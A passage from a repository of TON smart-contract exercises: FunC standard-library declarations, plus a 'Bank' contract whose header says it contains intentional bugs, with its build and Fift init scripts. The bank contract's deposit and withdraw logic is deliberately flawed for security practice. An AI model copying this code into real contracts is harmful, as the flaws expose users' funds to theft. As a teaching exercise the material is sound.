"DICTUSET"; 534 | (cell, ()) ~udict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUSET"; 535 | cell idict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTISET"; 536 | (cell, ()) ~idict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTISET"; 537 | cell dict_set(cell dict, int key_len, slice index, slice value) asm(value index dict key_len) "DICTSET"; 538 | (cell, ()) ~dict_set(cell dict, int key_len, slice index, slice value) asm(value index dict key_len) "DICTSET"; 539 | (cell, int) udict_add?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUADD"; 540 | (cell, int) udict_replace?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUREPLACE"; 541 | (cell, int) idict_add?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTIADD"; 542 | (cell, int) idict_replace?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTIREPLACE"; 543 | cell udict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUSETB"; 544 | (cell, ()) ~udict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUSETB"; 545 | cell idict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTISETB"; 546 | (cell, ()) ~idict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTISETB"; 547 | cell dict_set_builder(cell dict, int key_len, slice index, builder value) asm(value index dict key_len) "DICTSETB"; 548 | (cell, ()) ~dict_set_builder(cell dict, int key_len, slice index, builder value) asm(value index dict key_len) "DICTSETB"; 549 | (cell, int) udict_add_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUADDB"; 550 | (cell, int) udict_replace_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUREPLACEB"; 551 | (cell, int) idict_add_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTIADDB"; 552 | (cell, int) idict_replace_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTIREPLACEB"; 553 | (cell, int, slice, int) udict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMIN" "NULLSWAPIFNOT2"; 554 | (cell, (int, slice, int)) ~udict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMIN" "NULLSWAPIFNOT2"; 555 | (cell, int, slice, int) idict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMIN" "NULLSWAPIFNOT2"; 556 | (cell, (int, slice, int)) ~idict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMIN" "NULLSWAPIFNOT2"; 557 | (cell, slice, slice, int) dict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMIN" "NULLSWAPIFNOT2"; 558 | (cell, (slice, slice, int)) ~dict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMIN" "NULLSWAPIFNOT2"; 559 | (cell, int, slice, int) udict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMAX" "NULLSWAPIFNOT2"; 560 | (cell, (int, slice, int)) ~udict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMAX" "NULLSWAPIFNOT2"; 561 | (cell, int, slice, int) idict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMAX" "NULLSWAPIFNOT2"; 562 | (cell, (int, slice, int)) ~idict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMAX" "NULLSWAPIFNOT2"; 563 | (cell, slice, slice, int) dict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMAX" "NULLSWAPIFNOT2"; 564 | (cell, (slice, slice, int)) ~dict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMAX" "NULLSWAPIFNOT2"; 565 | (int, slice, int) udict_get_min?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMIN" "NULLSWAPIFNOT2"; 566 | (int, slice, int) udict_get_max?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMAX" "NULLSWAPIFNOT2"; 567 | (int, cell, int) udict_get_min_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMINREF" "NULLSWAPIFNOT2"; 568 | (int, cell, int) udict_get_max_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMAXREF" "NULLSWAPIFNOT2"; 569 | (int, slice, int) idict_get_min?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMIN" "NULLSWAPIFNOT2"; 570 | (int, slice, int) idict_get_max?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMAX" "NULLSWAPIFNOT2"; 571 | (int, cell, int) idict_get_min_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMINREF" "NULLSWAPIFNOT2"; 572 | (int, cell, int) idict_get_max_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMAXREF" "NULLSWAPIFNOT2"; 573 | (int, slice, int) udict_get_next?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETNEXT" "NULLSWAPIFNOT2"; 574 | (int, slice, int) udict_get_nexteq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETNEXTEQ" "NULLSWAPIFNOT2"; 575 | (int, slice, int) udict_get_prev?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETPREV" "NULLSWAPIFNOT2"; 576 | (int, slice, int) udict_get_preveq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETPREVEQ" "NULLSWAPIFNOT2"; 577 | (int, slice, int) idict_get_next?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETNEXT" "NULLSWAPIFNOT2"; 578 | (int, slice, int) idict_get_nexteq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETNEXTEQ" "NULLSWAPIFNOT2"; 579 | (int, slice, int) idict_get_prev?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETPREV" "NULLSWAPIFNOT2"; 580 | (int, slice, int) idict_get_preveq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETPREVEQ" "NULLSWAPIFNOT2"; 581 | 582 | ;;; Creates an empty dictionary, which is actually a null value. Equivalent to PUSHNULL 583 | cell new_dict() asm "NEWDICT"; 584 | ;;; Checks whether a dictionary is empty. Equivalent to cell_null?. 585 | int dict_empty?(cell c) asm "DICTEMPTY"; 586 | 587 | 588 | {- Prefix dictionary primitives -} 589 | (slice, slice, slice, int) pfxdict_get?(cell dict, int key_len, slice key) asm(key dict key_len) "PFXDICTGETQ" "NULLSWAPIFNOT2"; 590 | (cell, int) pfxdict_set?(cell dict, int key_len, slice key, slice value) asm(value key dict key_len) "PFXDICTSET"; 591 | (cell, int) pfxdict_delete?(cell dict, int key_len, slice key) asm(key dict key_len) "PFXDICTDEL"; 592 | 593 | ;;; Returns the value of the global configuration parameter with integer index `i` as a `cell` or `null` value. 594 | cell config_param(int x) asm "CONFIGOPTPARAM"; 595 | ;;; Checks whether c is a null. Note, that FunC also has polymorphic null? built-in. 596 | int cell_null?(cell c) asm "ISNULL"; 597 | 598 | ;;; Creates an output action which would reserve exactly amount nanotoncoins (if mode = 0), at most amount nanotoncoins (if mode = 2), or all but amount nanotoncoins (if mode = 1 or mode = 3), from the remaining balance of the account. It is roughly equivalent to creating an outbound message carrying amount nanotoncoins (or b − amount nanotoncoins, where b is the remaining balance) to oneself, so that the subsequent output actions would not be able to spend more money than the remainder. Bit +2 in mode means that the external action does not fail if the specified amount cannot be reserved; instead, all remaining balance is reserved. Bit +8 in mode means `amount <- -amount` before performing any further actions. Bit +4 in mode means that amount is increased by the original balance of the current account (before the compute phase), including all extra currencies, before performing any other checks and actions. Currently, amount must be a non-negative integer, and mode must be in the range 0..15. 599 | () raw_reserve(int amount, int mode) impure asm "RAWRESERVE"; 600 | ;;; Similar to raw_reserve, but also accepts a dictionary extra_amount (represented by a cell or null) with extra currencies. In this way currencies other than TonCoin can be reserved. 601 | () raw_reserve_extra(int amount, cell extra_amount, int mode) impure asm "RAWRESERVEX"; 602 | ;;; Sends a raw message contained in msg, which should contain a correctly serialized object Message X, with the only exception that the source address is allowed to have dummy value addr_none (to be automatically replaced with the current smart contract address), and ihr_fee, fwd_fee, created_lt and created_at fields can have arbitrary values (to be rewritten with correct values during the action phase of the current transaction). Integer parameter mode contains the flags. Currently mode = 0 is used for ordinary messages; mode = 128 is used for messages that are to carry all the remaining balance of the current smart contract (instead of the value originally indicated in the message); mode = 64 is used for messages that carry all the remaining value of the inbound message in addition to the value initially indicated in the new message (if bit 0 is not set, the gas fees are deducted from this amount); mode' = mode + 1 means that the sender wants to pay transfer fees separately; mode' = mode + 2 means that any errors arising while processing this message during the action phase should be ignored. Finally, mode' = mode + 32 means that the current account must be destroyed if its resulting balance is zero. This flag is usually employed together with +128. 603 | () send_raw_message(cell msg, int mode) impure asm "SENDRAWMSG"; 604 | ;;; Creates an output action that would change this smart contract code to that given by cell new_code. Notice that this change will take effect only after the successful termination of the current run of the smart contract 605 | () set_code(cell new_code) impure asm "SETCODE"; 606 | 607 | ;;; Generates a new pseudo-random unsigned 256-bit integer x. The algorithm is as follows: if r is the old value of the random seed, considered as a 32-byte array (by constructing the big-endian representation of an unsigned 256-bit integer), then its sha512(r) is computed; the first 32 bytes of this hash are stored as the new value r' of the random seed, and the remaining 32 bytes are returned as the next random value x. 608 | int random() impure asm "RANDU256"; 609 | ;;; Generates a new pseudo-random integer z in the range 0..range−1 (or range..−1, if range < 0). More precisely, an unsigned random value x is generated as in random; then z := x * range / 2^256 is computed. 610 | int rand(int range) impure asm "RAND"; 611 | ;;; Returns the current random seed as an unsigned 256-bit Integer. 612 | int get_seed() impure asm "RANDSEED"; 613 | ;;; Sets the random seed to unsigned 256-bit seed. 614 | int set_seed() impure asm "SETRAND"; 615 | ;;; Mixes unsigned 256-bit integer x into the random seed r by setting the random seed to sha256 of the concatenation of two 32-byte strings: the first with the big-endian representation of the old seed r, and the second with the big-endian representation of x. 616 | () randomize(int x) impure asm "ADDRAND"; 617 | ;;; Equivalent to randomize(cur_lt());. 618 | () randomize_lt() impure asm "LTIME" "ADDRAND"; 619 | 620 | ;;; Checks whether the data parts of two slices coinside 621 | int equal_slice_bits (slice a, slice b) asm "SDEQ"; 622 | 623 | ;;; Concatenates two builders 624 | builder store_builder(builder to, builder from) asm "STBR"; 625 | -------------------------------------------------------------------------------- /2. bank/README.md: -------------------------------------------------------------------------------- 1 | # Bank 2 | Simple hashmap based bank. You may put money in and get them out. 3 | 4 | # Address 5 | [EQAcUZubVYakkC5IiW1k9sFroNSfCfXYIgp5t5ba0w-CtBoq](https://tonapi.io/account/EQAcUZubVYakkC5IiW1k9sFroNSfCfXYIgp5t5ba0w-CtBoq) 6 | -------------------------------------------------------------------------------- /2. bank/bank.func: -------------------------------------------------------------------------------- 1 | {- 2 | 3 | !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 4 | Contract contains intentional bugs, do not use in production 5 | 6 | -} 7 | #include "stdlib.func"; 8 | 9 | 10 | () recv_internal (msg_value, in_msg_full, in_msg_body) { 11 | if (in_msg_body.slice_empty?()) { ;; ignore empty messages 12 | return (); 13 | } 14 | slice cs = in_msg_full.begin_parse(); 15 | int flags = cs~load_uint(4); 16 | 17 | if (flags & 1) { ;; ignore all bounced messages 18 | return (); 19 | } 20 | slice sender_address = cs~load_msg_addr(); 21 | (int wc, int sender) = parse_std_addr(sender_address); 22 | throw_unless(99, wc == 0); 23 | 24 | int op = in_msg_body~load_uint(32); 25 | int query_id = in_msg_body~load_uint(64); 26 | 27 | cell accounts = get_data(); 28 | 29 | if( op == 0 ) { ;; Deposit 30 | int fee = 10000000; 31 | int balance = max(msg_value - fee, 0); 32 | (_, slice old_balance_slice, int found?) = accounts.udict_delete_get?(256, sender); 33 | if(found?) { 34 | balance += old_balance_slice~load_coins(); 35 | } 36 | accounts~udict_set_builder(256, sender, begin_cell().store_coins(balance)); 37 | } 38 | if (op == 1) { ;; Withdraw 39 | (_, slice old_balance_slice, int found?) = accounts.udict_delete_get?(256, sender); 40 | throw_unless(98, found?); 41 | int balance = old_balance_slice~load_coins(); 42 | int withdraw_amount = in_msg_body~load_coins(); 43 | throw_unless(100, balance >= withdraw_amount); 44 | balance -= withdraw_amount; 45 | if(balance > 0 ) { 46 | accounts~udict_set_builder(256, sender, begin_cell().store_coins(balance)); 47 | } 48 | var msg = begin_cell() 49 | .store_uint(0x18, 6) 50 | .store_slice(sender_address) 51 | .store_coins(withdraw_amount) 52 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 53 | .end_cell(); 54 | send_raw_message(msg, 64 + 2); 55 | } 56 | 57 | set_data(accounts); 58 | } 59 | 60 | int get_user_balance(int address) method_id { 61 | (_, slice balance_slice, int found?) = get_data().udict_delete_get?(256, address); 62 | if ~ found? { 63 | return 0; 64 | } 65 | return balance_slice~load_coins(); 66 | } 67 | -------------------------------------------------------------------------------- /2. bank/build.sh: -------------------------------------------------------------------------------- 1 | func -o bank-code.fif -SPA bank.func 2 | -------------------------------------------------------------------------------- /2. bank/init.fif: -------------------------------------------------------------------------------- 1 | #!/usr/bin/fift -s 2 | "TonUtil.fif" include 3 | "Asm.fif" include 4 | 5 | true =: bounce 6 | <{ 7 | SETCP0 ACCEPT 8 | "bank-code.fif" include PUSHREF SETCODE 9 | 0 PUSHINT 10 | }>s =: contract_code 11 | 12 | ref, contract_storage ref, b> 20 | dup =: state_init 21 | 22 | dup hashu 0 swap 2constant contract_address 23 | ."new bank wallet address = " contract_address .addr cr 24 | 25 | ."Non-bounceable address (for init): " contract_address 7 .Addr cr 26 | ."Bounceable address (for later access): " contract_address 6 .Addr cr 27 | 28 | 30 | 2 boc+>B 31 | 32 | "query-init-bank.boc" tuck B>file 33 | ."(Saved init-bank contract creating query to file " type .")" cr 34 | -------------------------------------------------------------------------------- /2. bank/stdlib.func: -------------------------------------------------------------------------------- 1 | ;; Standard library for funC 2 | ;; 3 | 4 | {- 5 | # Tuple manipulation primitives 6 | The names and the types are mostly self-explaining. 7 | See [polymorhism with forall](https://ton.org/docs/#/func/functions?id=polymorphism-with-forall) 8 | for more info on the polymorphic functions. 9 | 10 | Note that currently values of atomic type `tuple` can't be cast to composite tuple type (e.g. `[int, cell]`) 11 | and vise versa. 12 | -} 13 | 14 | {- 15 | # Lisp-style lists 16 | 17 | Lists can be represented as nested 2-elements tuples. 18 | Empty list is conventionally represented as TVM `null` value (it can be obtained by calling [null()]). 19 | For example, tuple `(1, (2, (3, null)))` represents list `[1, 2, 3]`. Elements of a list can be of different types. 20 | -} 21 | 22 | ;;; Adds an element to the beginning of lisp-style list. 23 | forall X -> tuple cons(X head, tuple tail) asm "CONS"; 24 | 25 | ;;; Extracts the head and the tail of lisp-style list. 26 | forall X -> (X, tuple) uncons(tuple list) asm "UNCONS"; 27 | 28 | ;;; Extracts the tail and the head of lisp-style list. 29 | forall X -> (tuple, X) list_next(tuple list) asm( -> 1 0) "UNCONS"; 30 | 31 | ;;; Returns the head of lisp-style list. 32 | forall X -> X car(tuple list) asm "CAR"; 33 | 34 | ;;; Returns the tail of lisp-style list. 35 | tuple cdr(tuple list) asm "CDR"; 36 | 37 | ;;; Creates tuple with zero elements. 38 | tuple empty_tuple() asm "NIL"; 39 | 40 | ;;; Appends a value `x` to a `Tuple t = (x1, ..., xn)`, but only if the resulting `Tuple t' = (x1, ..., xn, x)` 41 | ;;; is of length at most 255. Otherwise throws a type check exception. 42 | forall X -> tuple tpush(tuple t, X value) asm "TPUSH"; 43 | forall X -> (tuple, ()) ~tpush(tuple t, X value) asm "TPUSH"; 44 | 45 | ;;; Creates a tuple of length one with given argument as element. 46 | forall X -> [X] single(X x) asm "SINGLE"; 47 | 48 | ;;; Unpacks a tuple of length one 49 | forall X -> X unsingle([X] t) asm "UNSINGLE"; 50 | 51 | ;;; Creates a tuple of length two with given arguments as elements. 52 | forall X, Y -> [X, Y] pair(X x, Y y) asm "PAIR"; 53 | 54 | ;;; Unpacks a tuple of length two 55 | forall X, Y -> (X, Y) unpair([X, Y] t) asm "UNPAIR"; 56 | 57 | ;;; Creates a tuple of length three with given arguments as elements. 58 | forall X, Y, Z -> [X, Y, Z] triple(X x, Y y, Z z) asm "TRIPLE"; 59 | 60 | ;;; Unpacks a tuple of length three 61 | forall X, Y, Z -> (X, Y, Z) untriple([X, Y, Z] t) asm "UNTRIPLE"; 62 | 63 | ;;; Creates a tuple of length four with given arguments as elements. 64 | forall X, Y, Z, W -> [X, Y, Z, W] tuple4(X x, Y y, Z z, W w) asm "4 TUPLE"; 65 | 66 | ;;; Unpacks a tuple of length four 67 | forall X, Y, Z, W -> (X, Y, Z, W) untuple4([X, Y, Z, W] t) asm "4 UNTUPLE"; 68 | 69 | ;;; Returns the first element of a tuple (with unknown element types). 70 | forall X -> X first(tuple t) asm "FIRST"; 71 | 72 | ;;; Returns the second element of a tuple (with unknown element types). 73 | forall X -> X second(tuple t) asm "SECOND"; 74 | 75 | ;;; Returns the third element of a tuple (with unknown element types). 76 | forall X -> X third(tuple t) asm "THIRD"; 77 | 78 | ;;; Returns the fourth element of a tuple (with unknown element types). 79 | forall X -> X fourth(tuple t) asm "3 INDEX"; 80 | 81 | ;;; Returns the first element of a pair tuple. 82 | forall X, Y -> X pair_first([X, Y] p) asm "FIRST"; 83 | 84 | ;;; Returns the second element of a pair tuple. 85 | forall X, Y -> Y pair_second([X, Y] p) asm "SECOND"; 86 | 87 | ;;; Returns the first element of a triple tuple. 88 | forall X, Y, Z -> X triple_first([X, Y, Z] p) asm "FIRST"; 89 | 90 | ;;; Returns the second element of a triple tuple. 91 | forall X, Y, Z -> Y triple_second([X, Y, Z] p) asm "SECOND"; 92 | 93 | ;;; Returns the third element of a triple tuple. 94 | forall X, Y, Z -> Z triple_third([X, Y, Z] p) asm "THIRD"; 95 | 96 | 97 | ;;; Push null element (casted to given type) 98 | ;;; By the TVM type `Null` FunC represents absence of a value of some atomic type. 99 | ;;; So `null` can actually have any atomic type. 100 | forall X -> X null() asm "PUSHNULL"; 101 | 102 | ;;; Moves a variable [x] to the top of the stack 103 | forall X -> (X, ()) ~impure_touch(X x) impure asm "NOP"; 104 | 105 | 106 | 107 | ;;; Returns the current Unix time as an Integer 108 | int now() asm "NOW"; 109 | 110 | ;;; Returns the internal address of the current smart contract as a Slice with a `MsgAddressInt`. 111 | ;;; If necessary, it can be parsed further using primitives such as [parse_std_addr]. 112 | slice my_address() asm "MYADDR"; 113 | 114 | ;;; Returns the balance of the smart contract as a tuple consisting of an int 115 | ;;; (balance in nanotoncoins) and a `cell` 116 | ;;; (a dictionary with 32-bit keys representing the balance of "extra currencies") 117 | ;;; at the start of Computation Phase. 118 | ;;; Note that RAW primitives such as [send_raw_message] do not update this field. 119 | [int, cell] get_balance() asm "BALANCE"; 120 | 121 | ;;; Returns the logical time of the current transaction. 122 | int cur_lt() asm "LTIME"; 123 | 124 | ;;; Returns the starting logical time of the current block. 125 | int block_lt() asm "BLOCKLT"; 126 | 127 | ;;; Computes the representation hash of a `cell` [c] and returns it as a 256-bit unsigned integer `x`. 128 | ;;; Useful for signing and checking signatures of arbitrary entities represented by a tree of cells. 129 | int cell_hash(cell c) asm "HASHCU"; 130 | 131 | ;;; Computes the hash of a `slice s` and returns it as a 256-bit unsigned integer `x`. 132 | ;;; The result is the same as if an ordinary cell containing only data and references from `s` had been created 133 | ;;; and its hash computed by [cell_hash]. 134 | int slice_hash(slice s) asm "HASHSU"; 135 | 136 | ;;; Computes sha256 of the data bits of `slice` [s]. If the bit length of `s` is not divisible by eight, 137 | ;;; throws a cell underflow exception. The hash value is returned as a 256-bit unsigned integer `x`. 138 | int string_hash(slice s) asm "SHA256U"; 139 | 140 | {- 141 | # Signature checks 142 | -} 143 | 144 | ;;; Checks the Ed25519-`signature` of a `hash` (a 256-bit unsigned integer, usually computed as the hash of some data) 145 | ;;; using [public_key] (also represented by a 256-bit unsigned integer). 146 | ;;; The signature must contain at least 512 data bits; only the first 512 bits are used. 147 | ;;; The result is `−1` if the signature is valid, `0` otherwise. 148 | ;;; Note that `CHKSIGNU` creates a 256-bit slice with the hash and calls `CHKSIGNS`. 149 | ;;; That is, if [hash] is computed as the hash of some data, these data are hashed twice, 150 | ;;; the second hashing occurring inside `CHKSIGNS`. 151 | int check_signature(int hash, slice signature, int public_key) asm "CHKSIGNU"; 152 | 153 | ;;; Checks whether [signature] is a valid Ed25519-signature of the data portion of `slice data` using `public_key`, 154 | ;;; similarly to [check_signature]. 155 | ;;; If the bit length of [data] is not divisible by eight, throws a cell underflow exception. 156 | ;;; The verification of Ed25519 signatures is the standard one, 157 | ;;; with sha256 used to reduce [data] to the 256-bit number that is actually signed. 158 | int check_data_signature(slice data, slice signature, int public_key) asm "CHKSIGNS"; 159 | 160 | {--- 161 | # Computation of boc size 162 | The primitives below may be useful for computing storage fees of user-provided data. 163 | -} 164 | 165 | ;;; Returns `(x, y, z, -1)` or `(null, null, null, 0)`. 166 | ;;; Recursively computes the count of distinct cells `x`, data bits `y`, and cell references `z` 167 | ;;; in the DAG rooted at `cell` [c], effectively returning the total storage used by this DAG taking into account 168 | ;;; the identification of equal cells. 169 | ;;; The values of `x`, `y`, and `z` are computed by a depth-first traversal of this DAG, 170 | ;;; with a hash table of visited cell hashes used to prevent visits of already-visited cells. 171 | ;;; The total count of visited cells `x` cannot exceed non-negative [max_cells]; 172 | ;;; otherwise the computation is aborted before visiting the `(max_cells + 1)`-st cell and 173 | ;;; a zero flag is returned to indicate failure. If [c] is `null`, returns `x = y = z = 0`. 174 | (int, int, int) compute_data_size(cell c, int max_cells) impure asm "CDATASIZE"; 175 | 176 | ;;; Similar to [compute_data_size?], but accepting a `slice` [s] instead of a `cell`. 177 | ;;; The returned value of `x` does not take into account the cell that contains the `slice` [s] itself; 178 | ;;; however, the data bits and the cell references of [s] are accounted for in `y` and `z`. 179 | (int, int, int) slice_compute_data_size(slice s, int max_cells) impure asm "SDATASIZE"; 180 | 181 | ;;; A non-quiet version of [compute_data_size?] that throws a cell overflow exception (`8`) on failure. 182 | (int, int, int, int) compute_data_size?(cell c, int max_cells) asm "CDATASIZEQ NULLSWAPIFNOT2 NULLSWAPIFNOT"; 183 | 184 | ;;; A non-quiet version of [slice_compute_data_size?] that throws a cell overflow exception (8) on failure. 185 | (int, int, int, int) slice_compute_data_size?(cell c, int max_cells) asm "SDATASIZEQ NULLSWAPIFNOT2 NULLSWAPIFNOT"; 186 | 187 | ;;; Throws an exception with exit_code excno if cond is not 0 (commented since implemented in compilator) 188 | ;; () throw_if(int excno, int cond) impure asm "THROWARGIF"; 189 | 190 | {-- 191 | # Debug primitives 192 | Only works for local TVM execution with debug level verbosity 193 | -} 194 | ;;; Dumps the stack (at most the top 255 values) and shows the total stack depth. 195 | () dump_stack() impure asm "DUMPSTK"; 196 | 197 | {- 198 | # Persistent storage save and load 199 | -} 200 | 201 | ;;; Returns the persistent contract storage cell. It can be parsed or modified with slice and builder primitives later. 202 | cell get_data() asm "c4 PUSH"; 203 | 204 | ;;; Sets `cell` [c] as persistent contract data. You can update persistent contract storage with this primitive. 205 | () set_data(cell c) impure asm "c4 POP"; 206 | 207 | {- 208 | # Continuation primitives 209 | -} 210 | ;;; Usually `c3` has a continuation initialized by the whole code of the contract. It is used for function calls. 211 | ;;; The primitive returns the current value of `c3`. 212 | cont get_c3() impure asm "c3 PUSH"; 213 | 214 | ;;; Updates the current value of `c3`. Usually, it is used for updating smart contract code in run-time. 215 | ;;; Note that after execution of this primitive the current code 216 | ;;; (and the stack of recursive function calls) won't change, 217 | ;;; but any other function call will use a function from the new code. 218 | () set_c3(cont c) impure asm "c3 POP"; 219 | 220 | ;;; Transforms a `slice` [s] into a simple ordinary continuation `c`, with `c.code = s` and an empty stack and savelist. 221 | cont bless(slice s) impure asm "BLESS"; 222 | 223 | {--- 224 | # Gas related primitives 225 | -} 226 | 227 | ;;; Sets current gas limit `gl` to its maximal allowed value `gm`, and resets the gas credit `gc` to zero, 228 | ;;; decreasing the value of `gr` by `gc` in the process. 229 | ;;; In other words, the current smart contract agrees to buy some gas to finish the current transaction. 230 | ;;; This action is required to process external messages, which bring no value (hence no gas) with themselves. 231 | ;;; 232 | ;;; For more details check [accept_message effects](https://ton.org/docs/#/smart-contracts/accept). 233 | () accept_message() impure asm "ACCEPT"; 234 | 235 | ;;; Sets current gas limit `gl` to the minimum of limit and `gm`, and resets the gas credit `gc` to zero. 236 | ;;; If the gas consumed so far (including the present instruction) exceeds the resulting value of `gl`, 237 | ;;; an (unhandled) out of gas exception is thrown before setting new gas limits. 238 | ;;; Notice that [set_gas_limit] with an argument `limit ≥ 2^63 − 1` is equivalent to [accept_message]. 239 | () set_gas_limit(int limit) impure asm "SETGASLIMIT"; 240 | 241 | ;;; Commits the current state of registers `c4` (“persistent data”) and `c5` (“actions”) 242 | ;;; so that the current execution is considered “successful” with the saved values even if an exception 243 | ;;; in Computation Phase is thrown later. 244 | () commit() impure asm "COMMIT"; 245 | 246 | ;;; Not implemented 247 | ;;() buy_gas(int gram) impure asm "BUYGAS"; 248 | 249 | ;;; Computes the amount of gas that can be bought for `amount` nanoTONs, 250 | ;;; and sets `gl` accordingly in the same way as [set_gas_limit]. 251 | () buy_gas(int amount) impure asm "BUYGAS"; 252 | 253 | ;;; Computes the minimum of two integers [x] and [y]. 254 | int min(int x, int y) asm "MIN"; 255 | 256 | ;;; Computes the maximum of two integers [x] and [y]. 257 | int max(int x, int y) asm "MAX"; 258 | 259 | ;;; Sorts two integers. 260 | (int, int) minmax(int x, int y) asm "MINMAX"; 261 | 262 | ;;; Computes the absolute value of an integer [x]. 263 | int abs(int x) asm "ABS"; 264 | 265 | {- 266 | # Slice primitives 267 | 268 | It is said that a primitive _loads_ some data, 269 | if it returns the data and the remainder of the slice 270 | (so it can also be used as [modifying method](https://ton.org/docs/#/func/statements?id=modifying-methods)). 271 | 272 | It is said that a primitive _preloads_ some data, if it returns only the data 273 | (it can be used as [non-modifying method](https://ton.org/docs/#/func/statements?id=non-modifying-methods)). 274 | 275 | Unless otherwise stated, loading and preloading primitives read the data from a prefix of the slice. 276 | -} 277 | 278 | 279 | ;;; Converts a `cell` [c] into a `slice`. Notice that [c] must be either an ordinary cell, 280 | ;;; or an exotic cell (see [TVM.pdf](https://ton-blockchain.github.io/docs/tvm.pdf), 3.1.2) 281 | ;;; which is automatically loaded to yield an ordinary cell `c'`, converted into a `slice` afterwards. 282 | slice begin_parse(cell c) asm "CTOS"; 283 | 284 | ;;; Checks if [s] is empty. If not, throws an exception. 285 | () end_parse(slice s) impure asm "ENDS"; 286 | 287 | ;;; Loads the first reference from the slice. 288 | (slice, cell) load_ref(slice s) asm( -> 1 0) "LDREF"; 289 | 290 | ;;; Preloads the first reference from the slice. 291 | cell preload_ref(slice s) asm "PLDREF"; 292 | 293 | {- Functions below are commented because are implemented on compilator level for optimisation -} 294 | 295 | ;;; Loads a signed [len]-bit integer from a slice [s]. 296 | ;; (slice, int) ~load_int(slice s, int len) asm(s len -> 1 0) "LDIX"; 297 | 298 | ;;; Loads an unsigned [len]-bit integer from a slice [s]. 299 | ;; (slice, int) ~load_uint(slice s, int len) asm( -> 1 0) "LDUX"; 300 | 301 | ;;; Preloads a signed [len]-bit integer from a slice [s]. 302 | ;; int preload_int(slice s, int len) asm "PLDIX"; 303 | 304 | ;;; Preloads an unsigned [len]-bit integer from a slice [s]. 305 | ;; int preload_uint(slice s, int len) asm "PLDUX"; 306 | 307 | ;;; Loads the first `0 ≤ len ≤ 1023` bits from slice [s] into a separate `slice s''`. 308 | ;; (slice, slice) load_bits(slice s, int len) asm(s len -> 1 0) "LDSLICEX"; 309 | 310 | ;;; Preloads the first `0 ≤ len ≤ 1023` bits from slice [s] into a separate `slice s''`. 311 | ;; slice preload_bits(slice s, int len) asm "PLDSLICEX"; 312 | 313 | ;;; Loads serialized amount of TonCoins (any unsigned integer up to `2^128 - 1`). 314 | (slice, int) load_grams(slice s) asm( -> 1 0) "LDGRAMS"; 315 | (slice, int) load_coins(slice s) asm( -> 1 0) "LDGRAMS"; 316 | 317 | ;;; Returns all but the first `0 ≤ len ≤ 1023` bits of `slice` [s]. 318 | slice skip_bits(slice s, int len) asm "SDSKIPFIRST"; 319 | (slice, ()) ~skip_bits(slice s, int len) asm "SDSKIPFIRST"; 320 | 321 | ;;; Returns the first `0 ≤ len ≤ 1023` bits of `slice` [s]. 322 | slice first_bits(slice s, int len) asm "SDCUTFIRST"; 323 | 324 | ;;; Returns all but the last `0 ≤ len ≤ 1023` bits of `slice` [s]. 325 | slice skip_last_bits(slice s, int len) asm "SDSKIPLAST"; 326 | (slice, ()) ~skip_last_bits(slice s, int len) asm "SDSKIPLAST"; 327 | 328 | ;;; Returns the last `0 ≤ len ≤ 1023` bits of `slice` [s]. 329 | slice slice_last(slice s, int len) asm "SDCUTLAST"; 330 | 331 | ;;; Loads a dictionary `D` (HashMapE) from `slice` [s]. 332 | ;;; (returns `null` if `nothing` constructor is used). 333 | (slice, cell) load_dict(slice s) asm( -> 1 0) "LDDICT"; 334 | 335 | ;;; Preloads a dictionary `D` from `slice` [s]. 336 | cell preload_dict(slice s) asm "PLDDICT"; 337 | 338 | ;;; Loads a dictionary as [load_dict], but returns only the remainder of the slice. 339 | slice skip_dict(slice s) asm 